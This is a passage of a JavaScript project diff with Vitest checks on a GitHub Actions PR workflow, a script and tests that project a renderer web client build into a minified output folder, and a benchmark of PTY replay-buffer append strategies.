const PACKAGE_RUNNER_TOKENS = new Set(['pnpm', 'npm', 'yarn', 'npx', 'run', 'exec', 'node'])
|
||||
|
||||
function splitCommandChain(command) {
|
||||
return command
|
||||
.split(/\n|&&|;/)
|
||||
.map((part) => part.trim())
|
||||
.filter(Boolean)
|
||||
}
|
||||
|
||||
function canonicalize(command) {
|
||||
const tokens = command.split(/\s+/)
|
||||
const canonical = []
|
||||
|
||||
for (let index = 0; index < tokens.length; index += 1) {
|
||||
const token = tokens[index]
|
||||
if (canonical.length === 0 && PACKAGE_RUNNER_TOKENS.has(token)) {
|
||||
continue
|
||||
}
|
||||
if (REPORTING_FLAGS.has(token)) {
|
||||
continue
|
||||
}
|
||||
if (REPORTING_FLAGS_WITH_VALUE.has(token)) {
|
||||
index += 1
|
||||
continue
|
||||
}
|
||||
canonical.push(token)
|
||||
}
|
||||
|
||||
return canonical.join(' ')
|
||||
}
|
||||
|
||||
/** Expands `pnpm run x` indirection until every entry is a real binary invocation. */
|
||||
function resolveLeafCommands(command, scripts, seen = new Set()) {
|
||||
const leaves = []
|
||||
|
||||
for (const part of splitCommandChain(command)) {
|
||||
const scriptName = part.match(/^(?:pnpm|npm|yarn)(?:\s+run)?\s+([\w:-]+)$/)?.[1]
|
||||
if (scriptName && scripts[scriptName] && !seen.has(scriptName)) {
|
||||
leaves.push(
|
||||
...resolveLeafCommands(scripts[scriptName], scripts, new Set([...seen, scriptName]))
|
||||
)
|
||||
continue
|
||||
}
|
||||
leaves.push(canonicalize(part))
|
||||
}
|
||||
|
||||
return leaves
|
||||
}
|
||||
|
||||
describe('PR workflow lint parity', () => {
|
||||
it('runs every `pnpm lint` step on pull requests', () => {
|
||||
const { scripts } = JSON.parse(readFileSync('package.json', 'utf8'))
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
|
||||
// Scan every job: which one hosts the lint steps is an organizational
|
||||
// detail that has already been renamed once (verify -> static_analysis).
|
||||
const workflowCommands = new Set(
|
||||
Object.values(workflow.jobs)
|
||||
.flatMap((job) => job.steps ?? [])
|
||||
.filter((step) => typeof step.run === 'string')
|
||||
.flatMap((step) => resolveLeafCommands(step.run, scripts))
|
||||
)
|
||||
|
||||
const missing = resolveLeafCommands(scripts.lint, scripts).filter(
|
||||
(leaf) => !workflowCommands.has(leaf)
|
||||
)
|
||||
|
||||
expect(
|
||||
missing,
|
||||
`.github/workflows/pr.yml is missing lint steps: ${missing.join(', ')}. ` +
|
||||
'Add a step for each one so PR CI matches `pnpm lint`.'
|
||||
).toEqual([])
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,171 @@
|
||||
import { globSync, readFileSync } from 'node:fs'
|
||||
import { parse } from 'yaml'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
const workflow = parse(readFileSync('.github/workflows/pr.yml', 'utf8'))
|
||||
const dependencyAction = parse(
|
||||
readFileSync('.github/actions/install-node-dependencies/action.yml', 'utf8')
|
||||
)
|
||||
const packageJson = JSON.parse(readFileSync('package.json', 'utf8'))
|
||||
const shellContractFiles = [
|
||||
'src/main/daemon/shell-ready.test.ts',
|
||||
'src/main/providers/local-pty-shell-ready.test.ts',
|
||||
'src/main/providers/__tests__/shell-ready-framework-example.test.ts',
|
||||
'src/shared/posix-command-path-lookup.test.ts'
|
||||
]
|
||||
const patchedNodePtyContractFiles = [
|
||||
'src/main/daemon/node-pty-fd-leak.test.ts',
|
||||
'src/main/pty/omp-shell-wrapper.node-pty.test.ts'
|
||||
]
|
||||
const nativeShellContractFiles = [...shellContractFiles, ...patchedNodePtyContractFiles]
|
||||
const testFilePatterns = [
|
||||
'config/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'src/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tests/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}',
|
||||
'tools/**/*.{test,spec}.{js,cjs,mjs,ts,tsx}'
|
||||
]
|
||||
const realZshUsage =
|
||||
/(?:spawnSync|execFileSync|spawn)\(\s*['"](?:\/(?:usr\/)?bin\/)?zsh['"]|spawnSync\(\s*['"]which['"]\s*,\s*\[\s*['"]zsh['"]|name:\s*['"]zsh['"]\s*,\s*path:\s*executablePath/
|
||||
|
||||
describe('PR workflow parallelism', () => {
|
||||
it('cancels superseded runs for the same pull request', () => {
|
||||
expect(workflow.concurrency.group).toBe('pr-checks-${{ github.event.pull_request.number }}')
|
||||
expect(workflow.concurrency['cancel-in-progress']).toBe(true)
|
||||
})
|
||||
|
||||
it('grants the PR workflow read-only repository access', () => {
|
||||
expect(workflow.permissions).toEqual({ contents: 'read' })
|
||||
})
|
||||
|
||||
it('shards the general test suite across sixteen runners', () => {
|
||||
expect(workflow.jobs.test.strategy.matrix.shard).toEqual(
|
||||
Array.from({ length: 16 }, (_, index) => index + 1)
|
||||
)
|
||||
const testStep = workflow.jobs.test.steps.find((step) => step.name === 'Test shard')
|
||||
|
||||
expect(testStep.run).toContain('--shard=${{ matrix.shard }}/${{ strategy.job-total }}')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(testStep.run).toContain(`--exclude=${testFile}`)
|
||||
}
|
||||
})
|
||||
|
||||
it('runs real-zsh coverage once outside the general shards', () => {
|
||||
const shellStep = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.name === 'Test real shell contracts'
|
||||
)
|
||||
const shellInstall = workflow.jobs.shell_contracts.steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(workflow.jobs.test.steps.some((step) => step.name === 'Install zsh')).toBe(false)
|
||||
expect(workflow.jobs.shell_contracts.steps.some((step) => step.name === 'Install zsh')).toBe(
|
||||
true
|
||||
)
|
||||
expect(shellInstall.with['native-runtime']).toBe('node')
|
||||
for (const testFile of nativeShellContractFiles) {
|
||||
expect(shellStep.run).toContain(testFile)
|
||||
}
|
||||
})
|
||||
|
||||
it('keeps every real-zsh test in the dedicated shell lane', () => {
|
||||
const discoveredFiles = globSync(testFilePatterns)
|
||||
.filter((testFile) => realZshUsage.test(readFileSync(testFile, 'utf8')))
|
||||
.sort()
|
||||
|
||||
expect(discoveredFiles).toEqual([...shellContractFiles].sort())
|
||||
})
|
||||
|
||||
it('overlaps bundles with independent output directories', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
|
||||
expect(buildStep.run).toContain('scripts=(build:relay build:electron-vite:parallel)')
|
||||
expect(buildStep.run).toContain('pnpm run "$script" &')
|
||||
expect(
|
||||
workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Project web client from renderer build'
|
||||
).run
|
||||
).toBe('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:desktop']).toContain('pnpm run build:web-from-renderer')
|
||||
expect(packageJson.scripts['build:release']).toContain('pnpm run build:web-from-renderer')
|
||||
})
|
||||
|
||||
it('restores the pnpm store before dependency installation', () => {
|
||||
const steps = dependencyAction.runs.steps
|
||||
const pnpmIndex = steps.findIndex((step) => step.name === 'Setup pnpm')
|
||||
const nodeIndex = steps.findIndex((step) => step.name === 'Setup Node.js')
|
||||
|
||||
expect(pnpmIndex).toBeLessThan(nodeIndex)
|
||||
expect(steps[nodeIndex].with.cache).toBe('pnpm')
|
||||
})
|
||||
|
||||
it('restores Electron downloads before preparing the package runtime', () => {
|
||||
const steps = workflow.jobs.package.steps
|
||||
const cacheIndex = steps.findIndex((step) => step.name === 'Cache electron-builder downloads')
|
||||
const installIndex = steps.findIndex(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
expect(cacheIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(installIndex).toBeGreaterThanOrEqual(0)
|
||||
expect(cacheIndex).toBeLessThan(installIndex)
|
||||
})
|
||||
|
||||
it('prepares each native runtime before its consumers start', () => {
|
||||
const installFor = (jobName) =>
|
||||
workflow.jobs[jobName].steps.find(
|
||||
(step) => step.uses === './.github/actions/install-node-dependencies'
|
||||
)
|
||||
|
||||
for (const jobName of ['static_analysis', 'typecheck', 'git_compatibility']) {
|
||||
expect(installFor(jobName).with, jobName).toBeUndefined()
|
||||
}
|
||||
expect(installFor('shell_contracts').with['native-runtime']).toBe('node')
|
||||
expect(installFor('test').with['native-runtime']).toBe('node')
|
||||
expect(installFor('package').with['native-runtime']).toBe('electron')
|
||||
|
||||
expect(
|
||||
dependencyAction.runs.steps.find((step) => step.name === 'Use external node-gyp').if
|
||||
).toBe("inputs.native-runtime != 'none'")
|
||||
const dependencyInstall = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Install dependencies'
|
||||
)
|
||||
expect(dependencyInstall.run).toContain('--no-frozen-lockfile')
|
||||
expect(dependencyInstall.run).toContain('--ignore-scripts')
|
||||
expect(dependencyInstall.run).not.toContain('--os=')
|
||||
expect(dependencyInstall.run).not.toContain('--cpu=')
|
||||
expect(packageJson.pnpm.supportedArchitectures.os).toEqual(
|
||||
expect.arrayContaining(['current', 'win32'])
|
||||
)
|
||||
expect(packageJson.pnpm.supportedArchitectures.cpu).toContain('current')
|
||||
const prepareRuntime = dependencyAction.runs.steps.find(
|
||||
(step) => step.name === 'Prepare native runtime'
|
||||
)
|
||||
expect(prepareRuntime.if).toBe("inputs.native-runtime != 'none'")
|
||||
expect(prepareRuntime.run).toContain('ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"')
|
||||
})
|
||||
|
||||
it('reuses native preparation after the dependency action gate', () => {
|
||||
const buildStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Build package inputs'
|
||||
)
|
||||
const packageStep = workflow.jobs.package.steps.find(
|
||||
(step) => step.name === 'Package unpacked app'
|
||||
)
|
||||
|
||||
expect(buildStep.run).not.toContain('ensure:electron-runtime')
|
||||
expect(packageStep.env.ORCA_REUSE_PREPARED_NATIVE_RUNTIME).toBe('1')
|
||||
})
|
||||
|
||||
it('keeps verify as the aggregate required check', () => {
|
||||
expect(workflow.jobs.verify.needs).toEqual([
|
||||
'static_analysis',
|
||||
'typecheck',
|
||||
'git_compatibility',
|
||||
'shell_contracts',
|
||||
'test',
|
||||
'package'
|
||||
])
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,165 @@
|
||||
import {
|
||||
cpSync,
|
||||
mkdirSync,
|
||||
readFileSync,
|
||||
readdirSync,
|
||||
renameSync,
|
||||
rmSync,
|
||||
statSync,
|
||||
writeFileSync
|
||||
} from 'node:fs'
|
||||
import { dirname, join, posix, resolve, sep } from 'node:path'
|
||||
import { transform } from 'esbuild'
|
||||
|
||||
const rendererOutput = resolve('out/renderer')
|
||||
const webOutput = resolve('out/web')
|
||||
const stagingOutput = resolve(dirname(webOutput), `.web-projection-${process.pid}`)
|
||||
const manifestPath = join(rendererOutput, '.vite', 'manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
const selectedFiles = new Set(['web-index.html'])
|
||||
const visitedEntries = new Set()
|
||||
|
||||
function assertEntryIsolation() {
|
||||
const entryKeys = new Set(
|
||||
Object.entries(manifest)
|
||||
.filter(([, entry]) => entry?.isEntry === true)
|
||||
.map(([key]) => key)
|
||||
)
|
||||
|
||||
for (const sourceEntry of entryKeys) {
|
||||
const visited = new Set()
|
||||
const pending = [sourceEntry]
|
||||
while (pending.length > 0) {
|
||||
const key = pending.pop()
|
||||
if (visited.has(key)) {
|
||||
continue
|
||||
}
|
||||
visited.add(key)
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
if (entryKeys.has(dependency) && dependency !== sourceEntry) {
|
||||
throw new Error(`Renderer entry ${sourceEntry} executes entry ${dependency}`)
|
||||
}
|
||||
pending.push(dependency)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function addOutputPath(outputPath) {
|
||||
if (
|
||||
typeof outputPath !== 'string' ||
|
||||
outputPath.length === 0 ||
|
||||
outputPath.startsWith('/') ||
|
||||
/^[A-Za-z]:/.test(outputPath) ||
|
||||
outputPath.includes('\\') ||
|
||||
outputPath.split('/').includes('..')
|
||||
) {
|
||||
throw new Error(`Invalid renderer output path: ${String(outputPath)}`)
|
||||
}
|
||||
selectedFiles.add(outputPath)
|
||||
}
|
||||
|
||||
function visitManifestEntry(key) {
|
||||
if (visitedEntries.has(key)) {
|
||||
return
|
||||
}
|
||||
visitedEntries.add(key)
|
||||
|
||||
const entry = manifest[key]
|
||||
if (!entry || typeof entry !== 'object') {
|
||||
throw new Error(`Renderer manifest is missing entry: ${key}`)
|
||||
}
|
||||
|
||||
addOutputPath(entry.file)
|
||||
for (const outputPath of [...(entry.css ?? []), ...(entry.assets ?? [])]) {
|
||||
addOutputPath(outputPath)
|
||||
}
|
||||
for (const dependency of [...(entry.imports ?? []), ...(entry.dynamicImports ?? [])]) {
|
||||
visitManifestEntry(dependency)
|
||||
}
|
||||
}
|
||||
|
||||
function listOutputFiles(directory, prefix = '') {
|
||||
return readdirSync(directory, { withFileTypes: true }).flatMap((entry) => {
|
||||
const outputPath = prefix ? join(prefix, entry.name) : entry.name
|
||||
return entry.isDirectory()
|
||||
? listOutputFiles(join(directory, entry.name), outputPath)
|
||||
: [outputPath.split(sep).join('/')]
|
||||
})
|
||||
}
|
||||
|
||||
function includeReferencedOutputs() {
|
||||
const candidates = listOutputFiles(rendererOutput).filter(
|
||||
(outputPath) => !outputPath.startsWith('.vite/') && !outputPath.endsWith('.html')
|
||||
)
|
||||
let foundReference = true
|
||||
|
||||
while (foundReference) {
|
||||
foundReference = false
|
||||
for (const selectedFile of selectedFiles) {
|
||||
if (!/\.(?:css|html|m?js|svg)$/.test(selectedFile)) {
|
||||
continue
|
||||
}
|
||||
const contents = readFileSync(join(rendererOutput, selectedFile), 'utf8')
|
||||
for (const candidate of candidates) {
|
||||
if (selectedFiles.has(candidate)) {
|
||||
continue
|
||||
}
|
||||
const localReference = posix.relative(posix.dirname(selectedFile), candidate)
|
||||
if (contents.includes(candidate) || contents.includes(localReference)) {
|
||||
selectedFiles.add(candidate)
|
||||
foundReference = true
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
async function minifyWebOutput() {
|
||||
await Promise.all(
|
||||
[...selectedFiles]
|
||||
.filter((outputPath) => /\.(?:css|m?js)$/.test(outputPath))
|
||||
.map(async (outputPath) => {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
const loader = outputPath.endsWith('.css') ? 'css' : 'js'
|
||||
const result = await transform(readFileSync(targetPath, 'utf8'), {
|
||||
legalComments: 'none',
|
||||
loader,
|
||||
minify: true,
|
||||
target: 'es2020'
|
||||
})
|
||||
writeFileSync(targetPath, result.code)
|
||||
})
|
||||
)
|
||||
}
|
||||
|
||||
assertEntryIsolation()
|
||||
visitManifestEntry('web-index.html')
|
||||
includeReferencedOutputs()
|
||||
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
try {
|
||||
for (const outputPath of selectedFiles) {
|
||||
const targetPath = join(stagingOutput, outputPath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
cpSync(join(rendererOutput, outputPath), targetPath)
|
||||
}
|
||||
await minifyWebOutput()
|
||||
|
||||
rmSync(webOutput, { force: true, recursive: true })
|
||||
renameSync(stagingOutput, webOutput)
|
||||
} finally {
|
||||
rmSync(stagingOutput, { force: true, recursive: true })
|
||||
}
|
||||
|
||||
const outputBytes = [...selectedFiles].reduce(
|
||||
(total, outputPath) => total + statSync(join(webOutput, outputPath)).size,
|
||||
0
|
||||
)
|
||||
console.log(
|
||||
`Projected web client: ${selectedFiles.size} files, ${(outputBytes / 1024 / 1024).toFixed(1)} MiB`
|
||||
)
|
||||
@@ -0,0 +1,117 @@
|
||||
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from 'node:fs'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { dirname, join, resolve } from 'node:path'
|
||||
import { spawnSync } from 'node:child_process'
|
||||
import { afterEach, describe, expect, it } from 'vitest'
|
||||
|
||||
const scriptPath = resolve('config/scripts/project-renderer-web-client.mjs')
|
||||
const temporaryRoots = []
|
||||
|
||||
function writeFixtureFile(root, relativePath, contents) {
|
||||
const targetPath = join(root, relativePath)
|
||||
mkdirSync(dirname(targetPath), { recursive: true })
|
||||
writeFileSync(targetPath, contents)
|
||||
}
|
||||
|
||||
function createRendererFixture() {
|
||||
const root = mkdtempSync(join(tmpdir(), 'orca-web-projection-'))
|
||||
temporaryRoots.push(root)
|
||||
const manifest = {
|
||||
'web-index.html': {
|
||||
file: 'assets/web-entry.js',
|
||||
isEntry: true,
|
||||
imports: ['_web-shared.js'],
|
||||
dynamicImports: ['src/lazy.ts']
|
||||
},
|
||||
'_web-shared.js': {
|
||||
file: 'assets/web-shared.js',
|
||||
css: ['assets/web.css'],
|
||||
assets: ['assets/logo.png']
|
||||
},
|
||||
'src/lazy.ts': { file: 'assets/lazy.js' },
|
||||
'index.html': { file: 'assets/desktop-entry.js', isEntry: true }
|
||||
}
|
||||
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', JSON.stringify(manifest))
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/web-index.html',
|
||||
'<script type="module" src="./assets/web-entry.js"></script>'
|
||||
)
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/web-entry.js',
|
||||
'import "./web-shared.js"; new Worker(new URL("editor.worker-fixture.js", import.meta.url));'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/web-shared.js', 'export const value = 1;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/lazy.js', 'export const lazyValue = true;')
|
||||
writeFixtureFile(root, 'out/renderer/assets/web.css', '.root { color: red; }')
|
||||
writeFixtureFile(root, 'out/renderer/assets/logo.png', 'fixture-logo')
|
||||
writeFixtureFile(
|
||||
root,
|
||||
'out/renderer/assets/editor.worker-fixture.js',
|
||||
'self.onmessage = function (event) { self.postMessage(event.data) }'
|
||||
)
|
||||
writeFixtureFile(root, 'out/renderer/assets/desktop-entry.js', 'export const desktop = true;')
|
||||
writeFixtureFile(root, 'out/web/stale.js', 'stale')
|
||||
return root
|
||||
}
|
||||
|
||||
afterEach(() => {
|
||||
for (const root of temporaryRoots.splice(0)) {
|
||||
rmSync(root, { force: true, recursive: true })
|
||||
}
|
||||
})
|
||||
|
||||
describe('renderer web client projection', () => {
|
||||
it('keeps the build-only manifest out of packaged apps', () => {
|
||||
const builderConfig = readFileSync(resolve('config/electron-builder.config.cjs'), 'utf8')
|
||||
|
||||
expect(builderConfig).toContain("'!out/renderer/.vite{,/**/*}'")
|
||||
})
|
||||
|
||||
it('copies and minifies only the web dependency closure', () => {
|
||||
const root = createRendererFixture()
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status, result.stderr).toBe(0)
|
||||
expect(result.stdout).toContain('Projected web client: 7 files')
|
||||
expect(existsSync(join(root, 'out/web/web-index.html'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/editor.worker-fixture.js'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/logo.png'))).toBe(true)
|
||||
expect(existsSync(join(root, 'out/web/assets/desktop-entry.js'))).toBe(false)
|
||||
expect(existsSync(join(root, 'out/web/stale.js'))).toBe(false)
|
||||
expect(readFileSync(join(root, 'out/web/assets/web.css'), 'utf8')).toBe('.root{color:red}\n')
|
||||
})
|
||||
|
||||
it('fails when the renderer manifest omits the web entry', () => {
|
||||
const root = createRendererFixture()
|
||||
writeFixtureFile(root, 'out/renderer/.vite/manifest.json', '{}')
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer manifest is missing entry: web-index.html')
|
||||
})
|
||||
|
||||
it('rejects renderer entries that execute another entry root', () => {
|
||||
const root = createRendererFixture()
|
||||
const manifestPath = join(root, 'out/renderer/.vite/manifest.json')
|
||||
const manifest = JSON.parse(readFileSync(manifestPath, 'utf8'))
|
||||
manifest['web-index.html'].dynamicImports.push('index.html')
|
||||
writeFileSync(manifestPath, JSON.stringify(manifest))
|
||||
|
||||
const result = spawnSync(process.execPath, [scriptPath], {
|
||||
cwd: root,
|
||||
encoding: 'utf8'
|
||||
})
|
||||
|
||||
expect(result.status).toBe(1)
|
||||
expect(result.stderr).toContain('Renderer entry web-index.html executes entry index.html')
|
||||
})
|
||||
})
|
||||
@@ -0,0 +1,218 @@
|
||||
#!/usr/bin/env node
|
||||
// Benchmark: the relay's per-PTY-chunk replay buffer append (src/relay/pty-handler.ts).
|
||||
//
|
||||
// appendReplayBuffer did `buffered += data` then, over the cap, `buffered.slice(-CAP)`.
|
||||
// Once a PTY has produced CAP bytes -- which a long-lived shell does almost immediately
|
||||
// -- every subsequent chunk flattened and copied the whole 100 KB window. The append is
|
||||
// called per raw node-pty emission, before batching, so it is per chunk, not per flush.
|
||||
//
|
||||
// The fix reuses RecentPtyOutputBuffer: keep chunks, drop from the head, and defer the
|
||||
// join to read(), which only attach/adopt/revive call.
|
||||
//
|
||||
// Both arms are compared for an identical retained tail before timing.
|
||||
//
|
||||
// Run with: node config/scripts/relay-replay-buffer-benchmark.mjs
|
||||
import { readFileSync } from 'node:fs'
|
||||
import { performance } from 'node:perf_hooks'
|
||||
|
||||
const ROUNDS = 6
|
||||
const SECONDS = Number(process.env.ORCA_REPLAY_BENCH_SECONDS ?? '1')
|
||||
if (!Number.isFinite(SECONDS) || SECONDS <= 0) {
|
||||
throw new Error(`ORCA_REPLAY_BENCH_SECONDS must be positive, received ${SECONDS}`)
|
||||
}
|
||||
|
||||
// Why re-read the sources: the claim is that the relay now appends into a chunk deque
|
||||
// with the relay's own cap. If either reverts, these numbers stop meaning what they say.
|
||||
const HANDLER_SOURCE = readFileSync(
|
||||
new URL('../../src/relay/pty-handler.ts', import.meta.url),
|
||||
'utf8'
|
||||
)
|
||||
if (!/managed\.buffered\.append\(/.test(HANDLER_SOURCE)) {
|
||||
throw new Error('relay no longer appends into a chunk deque; this benchmark is stale')
|
||||
}
|
||||
const capMatch = HANDLER_SOURCE.match(/REPLAY_BUFFER_MAX = ([\d *]+)/)
|
||||
if (!capMatch) {
|
||||
throw new Error('REPLAY_BUFFER_MAX not found; this benchmark is stale')
|
||||
}
|
||||
// The regex admits only digits, spaces, and `*`, so the literal is a plain product.
|
||||
const REPLAY_BUFFER_MAX = capMatch[1]
|
||||
.split('*')
|
||||
.map((factor) => Number(factor.trim()))
|
||||
.reduce((product, factor) => product * factor, 1)
|
||||
if (!Number.isSafeInteger(REPLAY_BUFFER_MAX) || REPLAY_BUFFER_MAX <= 0) {
|
||||
throw new Error(`could not read REPLAY_BUFFER_MAX from source, got ${capMatch[1]}`)
|
||||
}
|
||||
|
||||
// Pre-fix: rolling string, re-sliced once over the cap.
|
||||
function appendString(state, data) {
|
||||
if (data.length === 0) {
|
||||
return state
|
||||
}
|
||||
const next = state + data
|
||||
return next.length > REPLAY_BUFFER_MAX ? next.slice(-REPLAY_BUFFER_MAX) : next
|
||||
}
|
||||
|
||||
// Post-fix: mirrors RecentPtyOutputBuffer's append/read for the relay's options.
|
||||
class ChunkDeque {
|
||||
constructor(limit) {
|
||||
this.chunks = []
|
||||
this.headIndex = 0
|
||||
this.headOffset = 0
|
||||
this.totalLen = 0
|
||||
this.limit = limit
|
||||
}
|
||||
|
||||
append(data) {
|
||||
if (data.length === 0) {
|
||||
return
|
||||
}
|
||||
if (data.length >= this.limit) {
|
||||
this.chunks = [data.slice(-this.limit)]
|
||||
this.headIndex = 0
|
||||
this.headOffset = 0
|
||||
this.totalLen = this.limit
|
||||
return
|
||||
}
|
||||
this.chunks.push(data)
|
||||
this.totalLen += data.length
|
||||
while (this.totalLen > this.limit) {
|
||||
const headRemaining = this.chunks[this.headIndex].length - this.headOffset
|
||||
const excess = this.totalLen - this.limit
|
||||
if (headRemaining <= excess) {
|
||||
this.chunks[this.headIndex] = ''
|
||||
this.headIndex += 1
|
||||
this.headOffset = 0
|
||||
this.totalLen -= headRemaining
|
||||
} else {
|
||||
this.headOffset += excess
|
||||
this.totalLen -= excess
|
||||
}
|
||||
}
|
||||
if (this.headIndex >= 1024) {
|
||||
this.chunks = this.chunks.slice(this.headIndex)
|
||||
this.headIndex = 0
|
||||
}
|
||||
}
|
||||
|
||||
read() {
|
||||
if (this.chunks.length - this.headIndex > 1) {
|
||||
const retained = this.chunks.slice(this.headIndex)
|
||||
if (this.headOffset > 0) {
|
||||
retained[0] = retained[0].slice(this.headOffset)
|
||||
this.headOffset = 0
|
||||
}
|
||||
this.chunks = [retained.join('')]
|
||||
this.headIndex = 0
|
||||
} else if (this.headOffset > 0) {
|
||||
this.chunks[this.headIndex] = this.chunks[this.headIndex].slice(this.headOffset)
|
||||
this.headOffset = 0
|
||||
}
|
||||
return this.chunks[this.headIndex] ?? ''
|
||||
}
|
||||
}
|
||||
|
||||
function makeChunks(chunkBytes, chunkCount) {
|
||||
// Vary content so V8 cannot dedupe or treat the appends as loop-invariant.
|
||||
return Array.from({ length: chunkCount }, (_value, index) =>
|
||||
`${index}:`.padEnd(chunkBytes, 'abcdefghijklmnopqrstuvwxyz')
|
||||
)
|
||||
}
|
||||
|
||||
// Why pre-saturate: the interesting regime is a PTY that has already filled the window,
|
||||
// which is where the old form copied 100 KB on literally every chunk. Timing from empty
|
||||
// would average in a cheap warm-up the real process leaves behind in milliseconds.
|
||||
function saturate(chunks) {
|
||||
let stringState = ''
|
||||
const deque = new ChunkDeque(REPLAY_BUFFER_MAX)
|
||||
const preload = 'p'.repeat(REPLAY_BUFFER_MAX)
|
||||
stringState = appendString(stringState, preload)
|
||||
deque.append(preload)
|
||||
return { stringState, deque, chunks }
|
||||
}
|
||||
|
||||
function median(samples) {
|
||||
const sorted = [...samples].sort((a, b) => a - b)
|
||||
const mid = sorted.length / 2
|
||||
return (sorted[mid - 1] + sorted[mid]) / 2
|
||||
}
|
||||
|
||||
function timeString(chunks) {
|
||||
let state = 'p'.repeat(REPLAY_BUFFER_MAX)
|
||||
const start = performance.now()
|
||||
for (const chunk of chunks) {
|
||||
state = appendString(state, chunk)
|
||||
}
|
||||
const elapsed = performance.now() - start
|
||||
if (state.length !== REPLAY_BUFFER_MAX) {
|
||||
throw new Error('string arm lost its window')
|
||||
}
|
||||
return elapsed
|
||||
}
|
||||
|
||||
function timeDeque(chunks) {
|
||||
const deque = new ChunkDeque(REPLAY_BUFFER_MAX)
|
||||
deque.append('p'.repeat(REPLAY_BUFFER_MAX))
|
||||
const start = performance.now()
|
||||
for (const chunk of chunks) {
|
||||
deque.append(chunk)
|
||||
}
|
||||
const elapsed = performance.now() - start
|
||||
return elapsed
|
||||
}
|
||||
|
||||
// Arms alternate which one leads so within-round drift cannot favour either.
|
||||
function measure(chunks) {
|
||||
timeString(chunks)
|
||||
timeDeque(chunks)
|
||||
const stringSamples = []
|
||||
const dequeSamples = []
|
||||
for (let round = 0; round < ROUNDS; round += 1) {
|
||||
if (round % 2 === 0) {
|
||||
stringSamples.push(timeString(chunks))
|
||||
dequeSamples.push(timeDeque(chunks))
|
||||
} else {
|
||||
dequeSamples.push(timeDeque(chunks))
|
||||
stringSamples.push(timeString(chunks))
|
||||
}
|
||||
}
|
||||
return { stringMs: median(stringSamples), dequeMs: median(dequeSamples) }
|
||||
}
|
||||
|
||||
const pad = (value, width) => String(value).padStart(width)
|
||||
console.log('Relay PTY replay-buffer append, per second of output. Lower is better.')
|
||||
console.log(
|
||||
`cap=${(REPLAY_BUFFER_MAX / 1024).toFixed(0)} KiB rounds=${ROUNDS} (per-arm medians, pre-saturated)`
|
||||
)
|
||||
console.log(
|
||||
`${pad('workload', 30)} ${pad('rolling str', 12)} ${pad('chunk deque', 12)} ${pad('speedup', 9)}`
|
||||
)
|
||||
|
||||
for (const [label, chunkBytes, chunksPerSecond] of [
|
||||
['interactive shell 64B x200', 64, 200],
|
||||
['agent TUI 512B x400', 512, 400],
|
||||
['build log 4KiB x256 (1 MiB/s)', 4 * 1024, 256],
|
||||
['dump 8KiB x512 (4 MiB/s)', 8 * 1024, 512],
|
||||
['firehose 16KiB x1024 (16 MiB/s)', 16 * 1024, 1024]
|
||||
]) {
|
||||
const chunks = makeChunks(chunkBytes, Math.round(chunksPerSecond * SECONDS))
|
||||
const { stringState, deque } = saturate(chunks)
|
||||
let stringTail = stringState
|
||||
for (const chunk of chunks) {
|
||||
stringTail = appendString(stringTail, chunk)
|
||||
deque.append(chunk)
|
||||
}
|
||||
if (deque.read() !== stringTail) {
|
||||
throw new Error(`retained tail differs for ${label}`)
|
||||
}
|
||||
if (stringTail.length !== REPLAY_BUFFER_MAX) {
|
||||
throw new Error(`fixture never saturated the window for ${label}`)
|
||||
}
|
||||
const { stringMs, dequeMs } = measure(chunks)
|
||||
console.log(
|
||||
`${pad(label, 30)} ${pad(`${stringMs.toFixed(3)} ms`, 12)} ${pad(`${dequeMs.toFixed(3)} ms`, 12)} ${pad(`${(stringMs / dequeMs).toFixed(0)}x`, 9)}`
|
||||
)
|
||||
}
|
||||
|
||||
console.log(
|
||||
